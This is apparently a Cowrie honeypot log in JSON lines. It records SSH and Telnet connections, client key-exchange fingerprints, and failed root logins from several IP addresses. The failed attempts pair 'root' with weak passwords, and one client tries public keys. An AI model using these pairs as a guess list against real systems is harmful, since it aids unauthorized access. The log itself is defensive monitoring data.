{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:31:46.044677Z","src_ip":"103.27.238.120","session":"8c5cd85fbf3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.68","src_port":37204,"dst_ip":"159.203.135.109","dst_port":22,"session":"19c79f9509a8","protocol":"ssh","message":"New connection: 103.27.238.68:37204 (159.203.135.109:22) [session: 19c79f9509a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:31:46.784171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:31:46.789022Z","src_ip":"103.27.238.68","session":"19c79f9509a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lovely","message":"login attempt [root/lovely] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:31:46.834057Z","src_ip":"103.27.238.120","session":"8c5cd85fbf3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:31:47.059484Z","src_ip":"103.27.238.68","session":"19c79f9509a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"forest","message":"login attempt [root/forest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:31:47.867971Z","src_ip":"103.27.238.68","session":"19c79f9509a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:31:48.099684Z","src_ip":"103.27.238.120","session":"8c5cd85fbf3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:31:49.140115Z","src_ip":"103.27.238.68","session":"19c79f9509a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59330,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f0bd0d6fbc6","protocol":"telnet","message":"New connection: 50.6.8.71:59330 (10.17.0.5:23) [session: 2f0bd0d6fbc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:31:52.952548Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.28.189","src_port":43618,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0b383651a63","protocol":"telnet","message":"New connection: 23.94.28.189:43618 (10.17.0.5:23) [session: d0b383651a63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:32:08.329636Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":38072,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4b2f9cec686","protocol":"ssh","message":"New connection: 103.27.238.116:38072 (159.203.135.109:22) [session: a4b2f9cec686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:32:17.948184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:32:17.952839Z","src_ip":"103.27.238.116","session":"a4b2f9cec686","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:32:18.227422Z","src_ip":"103.27.238.116","session":"a4b2f9cec686","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:32:18.835237Z","src_ip":"62.173.146.152","session":"27d0b56eabee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qwerty","message":"login attempt [root/1qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:32:19.053253Z","src_ip":"103.27.238.116","session":"a4b2f9cec686","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":36616,"dst_ip":"159.203.135.109","dst_port":22,"session":"540ec674cf06","protocol":"ssh","message":"New connection: 103.149.28.157:36616 (159.203.135.109:22) [session: 540ec674cf06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:32:19.882599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:32:19.888041Z","src_ip":"103.149.28.157","session":"540ec674cf06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:32:20.132398Z","src_ip":"103.149.28.157","session":"540ec674cf06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:32:20.329409Z","src_ip":"103.27.238.116","session":"a4b2f9cec686","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqqqq","message":"login attempt [root/qqqqq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:32:20.858675Z","src_ip":"103.149.28.157","session":"540ec674cf06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:32:22.104132Z","src_ip":"103.149.28.157","session":"540ec674cf06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.695146799087524,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:32:24.647575Z","src_ip":"50.6.8.71","session":"2f0bd0d6fbc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.118","src_port":47668,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b19b0fee5e9","protocol":"ssh","message":"New connection: 103.27.238.118:47668 (159.203.135.109:22) [session: 4b19b0fee5e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:32:33.393541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:32:33.398125Z","src_ip":"103.27.238.118","session":"4b19b0fee5e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:32:33.651121Z","src_ip":"103.27.238.118","session":"4b19b0fee5e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qq","message":"login attempt [root/12345qq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:32:34.439429Z","src_ip":"103.27.238.118","session":"4b19b0fee5e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.111.168.79","src_port":9827,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b1efa15eb79","protocol":"ssh","message":"New connection: 89.111.168.79:9827 (10.17.0.5:22) [session: 3b1efa15eb79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:32:35.029683Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:32:35.693491Z","src_ip":"103.27.238.118","session":"4b19b0fee5e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.00527787208557,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:32:45.334793Z","src_ip":"23.94.28.189","session":"d0b383651a63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.96.178.220","src_port":50778,"dst_ip":"10.17.0.5","dst_port":22,"session":"89af76a0aa66","protocol":"ssh","message":"New connection: 38.96.178.220:50778 (10.17.0.5:22) [session: 89af76a0aa66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:32:51.591263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:32:51.595924Z","src_ip":"38.96.178.220","session":"89af76a0aa66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:32:51.605983Z","src_ip":"38.96.178.220","session":"89af76a0aa66","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:53:11:57:d5:15:a2:ea:58:72:c7:47:49:15:17:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeVcvOfALsi8WGavfnMJUoNgyymkGI/mar6n4Pgx4eJYU4J17qlvtES1IC+ifHz1F9ODQzvyM+P4FryntU23lCloYkIfP3L5wFOYAFxv0LSbzNWI0+MvSihgZO1yOCVsl+YlFaeMciaTZduHbCSbOATRzDTC21pFHsy2POHpC4kwLVD3QkutnPq+e9hQeRmMrvgG4aFdUwcsZSDPCOwzZudjnOVJeqbNWIq0gyzxZzxUV+87wy5jcRCR72pxLkDiwiP6G5WXRv96Pjy8/mvswOACEaJBDnRbH4bDCGbeNOY0YoalpwmlnsvL/fYe2xWVO3OaERmqpUdrgn45S4TG29","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:53:11:57:d5:15:a2:ea:58:72:c7:47:49:15:17:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:32:51.624053Z","src_ip":"38.96.178.220","session":"89af76a0aa66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:53:11:57:d5:15:a2:ea:58:72:c7:47:49:15:17:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeVcvOfALsi8WGavfnMJUoNgyymkGI/mar6n4Pgx4eJYU4J17qlvtES1IC+ifHz1F9ODQzvyM+P4FryntU23lCloYkIfP3L5wFOYAFxv0LSbzNWI0+MvSihgZO1yOCVsl+YlFaeMciaTZduHbCSbOATRzDTC21pFHsy2POHpC4kwLVD3QkutnPq+e9hQeRmMrvgG4aFdUwcsZSDPCOwzZudjnOVJeqbNWIq0gyzxZzxUV+87wy5jcRCR72pxLkDiwiP6G5WXRv96Pjy8/mvswOACEaJBDnRbH4bDCGbeNOY0YoalpwmlnsvL/fYe2xWVO3OaERmqpUdrgn45S4TG29","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:32:51.627780Z","src_ip":"38.96.178.220","session":"89af76a0aa66","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5f:5a:b2:a6:71:ec:53:e7:4b:c2:6c:b5:ad:f8:d0:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZTLOLZ1GemD/7SPgaPC8RaJOpiQq5WxOcXvIwlL3Of2pZr1ygm2DPfVLibhljFtytRReRkC/rNzfI3xxSkhknoi0nEkHQpAP9DEAKnQnfyKuealbgM924kNasbVQmT7O2n+/3YK/24jxiKPMo3WKwRD+HMfaDK8i6Vdaoq8CX15eDhh8ZdhuS5wmfV6j6oLdkOkmEDSWiIUywPf1SFp8hW3hA4/o1vXVuezB7stHkVX+sc/ZgJm/G5d967DcY5qwQN05DFDmR+id2jwt12vgqa2QsNilFbVh15ulunX4ZHWKvyCNNbenkThszd1fueXazC0PFerVJ5wG9EqfaJpdp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5f:5a:b2:a6:71:ec:53:e7:4b:c2:6c:b5:ad:f8:d0:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:32:51.635815Z","src_ip":"38.96.178.220","session":"89af76a0aa66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5f:5a:b2:a6:71:ec:53:e7:4b:c2:6c:b5:ad:f8:d0:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZTLOLZ1GemD/7SPgaPC8RaJOpiQq5WxOcXvIwlL3Of2pZr1ygm2DPfVLibhljFtytRReRkC/rNzfI3xxSkhknoi0nEkHQpAP9DEAKnQnfyKuealbgM924kNasbVQmT7O2n+/3YK/24jxiKPMo3WKwRD+HMfaDK8i6Vdaoq8CX15eDhh8ZdhuS5wmfV6j6oLdkOkmEDSWiIUywPf1SFp8hW3hA4/o1vXVuezB7stHkVX+sc/ZgJm/G5d967DcY5qwQN05DFDmR+id2jwt12vgqa2QsNilFbVh15ulunX4ZHWKvyCNNbenkThszd1fueXazC0PFerVJ5wG9EqfaJpdp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:32:51.639292Z","src_ip":"38.96.178.220","session":"89af76a0aa66","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:1b:8f:af:ba:fa:66:ec:1e:99:53:07:dd:22:75:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCceWLLeKbR45mhUSbHo+hvFbGfO2Fe7MFuOAcbl+iXcsLy1OiIPSkErCjP9jSYponJVaUUi//ZPXyjLiOd9Dx21pN13neZj9aojdL7tKXz1TevJ6Fs78MelJlRLEEg1K0Z8OoyF6s4wrgttjAMnQsXSGcy/E1iajBsSHf6ugRGykXfz+pkU+j73OC8yYDASWEMveEx8cQx1y543H3Le4vS4iIb9c7IAdvnvqrGt9/r8yoOHyb1SCsfhwQknnztwn7y8ssPQEo5MRYPK2P3Jp9C0JVuDz6iiRh3QkCGoOF6NP0ip3bzM+pik2u5jrl1nlNxiyFhciSIgARtHBXHTDtf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 03:1b:8f:af:ba:fa:66:ec:1e:99:53:07:dd:22:75:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:32:51.649187Z","src_ip":"38.96.178.220","session":"89af76a0aa66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:1b:8f:af:ba:fa:66:ec:1e:99:53:07:dd:22:75:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCceWLLeKbR45mhUSbHo+hvFbGfO2Fe7MFuOAcbl+iXcsLy1OiIPSkErCjP9jSYponJVaUUi//ZPXyjLiOd9Dx21pN13neZj9aojdL7tKXz1TevJ6Fs78MelJlRLEEg1K0Z8OoyF6s4wrgttjAMnQsXSGcy/E1iajBsSHf6ugRGykXfz+pkU+j73OC8yYDASWEMveEx8cQx1y543H3Le4vS4iIb9c7IAdvnvqrGt9/r8yoOHyb1SCsfhwQknnztwn7y8ssPQEo5MRYPK2P3Jp9C0JVuDz6iiRh3QkCGoOF6NP0ip3bzM+pik2u5jrl1nlNxiyFhciSIgARtHBXHTDtf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:32:51.653576Z","src_ip":"38.96.178.220","session":"89af76a0aa66","protocol":"ssh"}
